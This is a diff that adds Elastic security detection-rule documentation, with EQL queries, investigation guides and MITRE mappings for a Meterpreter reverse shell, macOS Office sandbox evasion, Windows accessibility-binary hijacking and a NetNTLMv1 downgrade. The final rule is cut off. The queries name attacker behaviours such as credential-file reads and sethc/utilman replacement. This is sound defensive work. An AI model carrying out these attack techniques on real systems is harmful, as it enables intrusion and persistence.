"DismHost.exe" and dll.path : "C:\\Windows\\Temp\\*") or + (dll.code_signature.trusted == true and + dll.code_signature.subject_name in ( + "ALIBABA CLOUD COMPUTING LTD", + "Epic Systems Corporation", + "Google LLC", + "Agilysys, Inc.", + "CD PROJEKT S.A.", + "Check Point Software Technologies Ltd.", + "Dedalus Italia S.P.A.", + "AOMEI International Network Limited", + "CHENGDU AOMEI TECHNOLOGY CO., LTD.", + "GN Hearing A/S", + "Paessler GmbH", + "Symantec Corporation")) or + ( + dll.path : ( + "?:\\Windows\\SystemApps\\*\\dxgi.dll", + "?:\\Windows\\SystemApps\\*\\wincorlib.dll", + "?:\\Windows\\dxgi.dll", + "?:\\Users\\*\\AppData\\Local\\LINE\\bin\\current\\dbghelp.dll", + "?:\\Program Files (x86)\\SAP\\FrontEnd\\SAPgui\\dbghelp.dll", + "?:\\Program Files (x86)\\Common Files\\Crystal Decision\\2.0\\bin\\atl.dll" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing +** ID: T1553.002 +** Reference URL: https://attack.mitre.org/techniques/T1553/002/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-meterpreter-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-meterpreter-reverse-shell.asciidoc new file mode 100644 index 0000000000..8ccd5a8d28 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-meterpreter-reverse-shell.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-34-potential-meterpreter-reverse-shell]] +=== Potential Meterpreter Reverse Shell + +This detection rule identifies a sample of suspicious Linux system file reads used for system fingerprinting, leveraged by the Metasploit Meterpreter shell to gather information about the target that it is executing its shell on. Detecting this pattern is indicative of a successful meterpreter shell connection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Meterpreter Reverse Shell* + + +Meterpreter is a sophisticated payload within the Metasploit framework, enabling attackers to execute commands and scripts on compromised systems. Adversaries exploit it to perform system reconnaissance and data exfiltration. The detection rule identifies suspicious file access patterns typical of Meterpreter's system fingerprinting activities, such as reading key system files, indicating a potential reverse shell connection. + + +*Possible investigation steps* + + +- Review the process associated with the alert by examining the process ID (process.pid) and user ID (user.id) to determine if the process is legitimate or potentially malicious. +- Check the host ID (host.id) to identify the specific system where the suspicious activity was detected and assess if it is a high-value target or has been previously compromised. +- Investigate the command history and running processes on the affected host to identify any unusual or unauthorized activities that may indicate a Meterpreter session. +- Analyze network connections from the host to detect any suspicious outbound connections that could suggest a reverse shell communication. +- Examine the file access patterns, particularly the access to files like /etc/machine-id, /etc/passwd, /proc/net/route, /proc/net/ipv6_route, and /proc/net/if_inet6, to understand the context and purpose of these reads and whether they align with normal system operations. +- Correlate the alert with other security events or logs from the same timeframe to identify any additional indicators of compromise or related malicious activities. + + +*False positive analysis* + + +- System administration scripts or tools that perform regular checks on system files like /etc/machine-id or /etc/passwd may trigger this rule. To manage this, identify and whitelist these legitimate processes by their process ID or user ID. +- Backup or monitoring software that accesses network configuration files such as /proc/net/route or /proc/net/ipv6_route can cause false positives. Exclude these applications by adding exceptions for their specific file access patterns. +- Security tools that perform network diagnostics or inventory checks might read files like /proc/net/if_inet6. Review these tools and exclude their known benign activities from triggering the rule. +- Custom scripts used for system health checks or inventory management that access the flagged files should be reviewed. If deemed safe, add them to an exception list based on their host ID or user ID. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further data exfiltration or lateral movement by the attacker. +- Terminate any suspicious processes identified by the detection rule, particularly those associated with the process IDs flagged in the alert. +- Conduct a thorough review of the affected system's logs and file access history to identify any additional unauthorized access or data exfiltration attempts. +- Change all credentials and keys that may have been exposed or compromised on the affected system, especially those related to user accounts identified in the alert. +- Restore the affected system from a known good backup to ensure any malicious changes are removed, and verify the integrity of the restored system. +- Implement network segmentation to limit the potential impact of future attacks and enhance monitoring of critical systems for similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Auditbeat +- Auditd Manager + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -w /proc/net/ -p r -k audit_proc + -w /etc/machine-id -p wa -k machineid + -w /etc/passwd -p wa -k passwd + + +==== Rule query + + +[source, js] +---------------------------------- +sample by host.id, process.pid, user.id + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/machine-id"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/passwd"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/route"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/ipv6_route"] + [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/if_inet6"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-microsoft-office-sandbox-evasion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-microsoft-office-sandbox-evasion.asciidoc new file mode 100644 index 0000000000..44635c8690 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-microsoft-office-sandbox-evasion.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-potential-microsoft-office-sandbox-evasion]] +=== Potential Microsoft Office Sandbox Evasion + +Identifies the creation of a suspicious zip file prepended with special characters. Sandboxed Microsoft Office applications on macOS are allowed to write files that start with special characters, which can be combined with an AutoStart location to achieve sandbox evasion. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://i.blackhat.com/USA-20/Wednesday/us-20-Wardle-Office-Drama-On-macOS.pdf +* https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/ +* https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Microsoft Office Sandbox Evasion* + + +Microsoft Office applications on macOS operate within a sandbox to limit potential damage from malicious files. However, adversaries can exploit this by creating zip files with special character prefixes, bypassing sandbox restrictions. The detection rule identifies such files, focusing on non-deletion events with specific naming patterns, to flag potential evasion attempts and mitigate risks. + + +*Possible investigation steps* + + +- Review the file creation event details to confirm the presence of a zip file with a name starting with special characters, as indicated by the file.name field. +- Examine the file path and location to determine if it aligns with known AutoStart locations, which could indicate an attempt to achieve persistence. +- Investigate the user account associated with the event to assess if the activity is expected or if the account may have been compromised. +- Check for any related events or activities on the same host around the time of the alert, such as other file creations or modifications, to identify potential patterns or additional suspicious behavior. +- Analyze the host's recent network activity to detect any unusual outbound connections that might suggest data exfiltration or communication with a command and control server. +- Correlate the event with other alerts or logs from the same host or user to build a comprehensive timeline of activities and assess the broader impact or intent. + + +*False positive analysis* + + +- Files with special character prefixes created by legitimate applications or processes, such as temporary files generated by Microsoft Office during normal operations, may trigger the rule. Users can create exceptions for known benign applications that frequently generate such files. +- Automated backup or synchronization tools that compress files into zip archives with special character prefixes might be flagged. Identify these tools and exclude their file creation events from the rule. +- Development or testing environments where zip files with special character prefixes are used for legitimate purposes can cause false positives. Implement exclusions for these environments to prevent unnecessary alerts. +- User-generated zip files with special character prefixes for personal organization or naming conventions may be mistakenly identified. Educate users on naming conventions and adjust the rule to exclude specific user directories if needed. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent further potential spread or data exfiltration. +- Quarantine the suspicious zip file to prevent execution and further analysis. +- Conduct a thorough scan of the system using updated antivirus and endpoint detection tools to identify and remove any additional malicious files or processes. +- Review and secure AutoStart locations on the affected system to prevent unauthorized applications from executing at startup. +- Restore any affected files from a known good backup to ensure system integrity and continuity. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if other systems may be affected. +- Update security policies and endpoint protection configurations to block the creation and execution of files with suspicious naming patterns, enhancing future detection and prevention capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action in ("modification", "rename") and file.name like~ "~$*.zip" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-modification-of-accessibility-binaries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-modification-of-accessibility-binaries.asciidoc new file mode 100644 index 0000000000..790d42a0ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-modification-of-accessibility-binaries.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-34-potential-modification-of-accessibility-binaries]] +=== Potential Modification of Accessibility Binaries + +Windows contains accessibility features that may be launched with a key combination before a user has logged in. An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/practical-security-engineering-stateful-detection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Modification of Accessibility Binaries* + + +*Possible investigation steps* + + +- Does the alert show an accessibility-feature launch path running a different binary identity? + - Focus: `process.parent.name`, `user.name`, `process.args`, and `process.pe.original_file_name`. + - Implication: escalate when the logon accessibility path starts a SYSTEM process whose PE original name does not fit the requested feature; lower initial concern only when this exact host and binary match a narrow exception from prior verified testing. Otherwise, the mismatch stays suspicious. + +- What binary actually ran from the accessibility launch? + - Focus: `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the executable is a shell, scripting or administration tool, user-writable copy, unsigned or unexpectedly signed binary, or rare hash for the host; stable hash or trusted signer lowers identity concern but does not clear the SYSTEM accessibility mismatch. + +- Did the launched binary create a SYSTEM follow-on process? + - Focus: process starts on the same `host.id` where `process.parent.entity_id` matches `process.entity_id`, checking `process.executable`, `process.args`, and `user.name`. !{investigate{"description":"","label":"Child process starts from the accessibility binary","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when follow-on activity opens a shell, scripting engine, remote-access tool, credential or account utility, or long-lived SYSTEM process; no children lowers follow-on severity only, not the accessibility mismatch. + - Hint: if `process.entity_id` is missing, use `host.id`, `process.pid`, and a tight alert-time window as a weaker fallback. + +- Do surrounding process starts show preparation, replacement, or cleanup? + - Focus: same-`host.id` process starts in a tight alert-time window, prioritizing parent or child links to the alerting process, then same `user.id`; check `process.name`, `process.args`, and `process.parent.name`. !{investigate{"description":"","label":"Process starts on the host near the alert","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when takeown, icacls, copy, robocopy, reg, PowerShell, cmd, or service-control activity surrounds the accessibility launch; absence of setup or cleanup reduces preparation evidence only, not the mismatch. + - Why: runtime evidence may not show whether abuse used binary replacement or IFEO/debugger redirection, so surrounding process starts can expose the setup path to preserve or restore. + +- If local evidence is suspicious or unresolved, is this a local one-off or repeated accessibility-hijack pattern? + - Focus: prior alerts and process starts for the same `host.id`, then the same `process.hash.sha256`, `process.executable`, or `process.pe.original_file_name` across other hosts. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Process events with the same SHA-256","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same binary identity or PE mismatch appears on additional hosts, recurs after attempted cleanup, or clusters outside a recognized validation cohort; no recurrence lowers scope only. Do not close on absence or recurrence alone. + +- Escalate for suspicious binary identity, SYSTEM follow-on activity, preparation or cleanup, or unexplained recurrence. Close only when process evidence matches a preexisting narrow exception for one controlled test on this host; if absent or mixed, preserve the binary, process tree, and alert records and escalate. + + +*False positive analysis* + + +- Accessibility-feature hijacking is an operational anti-pattern. The main benign path is a preexisting, narrow security-test exception for this exact behavior. Compare the alert to stable exception anchors: `host.id`, `process.hash.sha256`, `process.executable`, `process.args`, `process.pe.original_file_name`, parent context, and child-process evidence; contradictions prevent benign closure. +- Without a preexisting exception, do not close from recurrence alone. Treat stable recurrence as candidate exception evidence and keep the case open or escalated until the exact activity is verified. +- Build exceptions only from stable test anchors: `process.hash.sha256`, signer identity, `process.args`, `process.pe.original_file_name`, and `host.id` or a tightly managed test cohort. Avoid exceptions on `process.name`, accessibility filenames, parent name, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign: + - Record the exact evidence that confirmed the test: host, binary hash and signer, accessibility target, parent context, and absence of suspicious child or surrounding process activity. + - Reverse temporary containment after the evidence record is complete. + - Create a narrow exception only after the same test pattern is stable across prior alerts and limited to the validated cohort. +- If suspicious but unconfirmed: + - Preserve the alert record, process tree, executable copy, hash, signature details, child-process events, and surrounding process events before containment. + - Apply reversible containment tied to the findings, such as temporary host isolation, restricted remote access, or increased monitoring on the affected host, and avoid deleting binaries or restoring system state until evidence is preserved. +- If confirmed malicious: + - Record `process.entity_id`, `process.pid`, command arguments, executable path, hash, signer, and any child process identifiers before containment, termination, or cleanup. + - Contain the endpoint based on the binary identity, SYSTEM lineage, follow-on process activity, and recurrence scope that established malicious use. + - Block confirmed malicious hashes or binaries, then terminate active shells or backdoors. + - Restore affected accessibility binaries to known-good state, validate the accessibility launch path no longer starts the suspicious binary, and remediate the account, deployment tool, or remote-access path that allowed the change. + - Reset credentials only when follow-on activity or separate identity evidence shows account misuse. +- Post-incident hardening: + - Restrict local administrator paths that can replace or redirect Windows accessibility features, and enforce application control for accessibility-feature execution where feasible. + - Ensure Remote Desktop exposure uses gateway controls and Network Level Authentication so remote users authenticate before the login screen path can be abused. + - Document the confirmed test pattern or malicious artifact set so future analysts can separate repeat validation from repeat abuse. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("Utilman.exe", "winlogon.exe") and user.name == "SYSTEM" and + process.pe.original_file_name : "?*" and + process.args : + ( + "C:\\Windows\\System32\\osk.exe", + "C:\\Windows\\System32\\Magnify.exe", + "C:\\Windows\\System32\\Narrator.exe", + "C:\\Windows\\System32\\Sethc.exe", + "utilman.exe", + "ATBroker.exe", + "DisplaySwitch.exe", + "sethc.exe" + ) + and not process.pe.original_file_name in + ( + "osk.exe", + "sethc.exe", + "utilman2.exe", + "DisplaySwitch.exe", + "atbroker.exe", + "ATBroker.exe", + "ScreenMagnifier.exe", + "SR.exe", + "Narrator.exe", + "magnify.exe", + "MAGNIFY.EXE" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Accessibility Features +** ID: T1546.008 +** Reference URL: https://attack.mitre.org/techniques/T1546/008/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Accessibility Features +** ID: T1546.008 +** Reference URL: https://attack.mitre.org/techniques/T1546/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-netntlmv1-downgrade-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-netntlmv1-downgrade-attack.asciidoc new file mode 100644 index 0000000000..0ba8a5e286 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-netntlmv1-downgrade-attack.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-potential-netntlmv1-downgrade-attack]] +=== Potential NetNTLMv1 Downgrade Attack + +Identifies registry modification to force the system to fall back to NTLMv1 for authentication. This modification is possible with local administrator privileges and is commonly referred to as a `NetNTLMv1 downgrade attack`. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential NetNTLMv1 Downgrade Attack* + + + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the LmCompatibilityLevel value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent remote authentication attempts or sessions on the affected host to determine if unauthorized access was achieved. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. +- Evaluate the security posture of the affected system, including patch levels and existing security controls, to identify potential vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Administrative changes to LmCompatibilityLevel settings can trigger false positives when IT personnel intentionally modify registry settings for legitimate purposes. To handle this, create exceptions for known administrative activities by documenting and excluding these specific registry changes from alerts. +- Software updates or installations that modify NTLM settings might be flagged as false positives. To mitigate this, maintain a list of trusted software and their expected registry changes, and configure the detection system to ignore these during update windows. +- Automated scripts or management tools that adjust NTLM configurations for compliance or performance reasons can also cause false positives. Identify these tools and their expected behavior, then set up exclusions for their registry modifications to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Re-enable NTLMv2 on the affected system by modifying the registry value back to its secure state. +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule 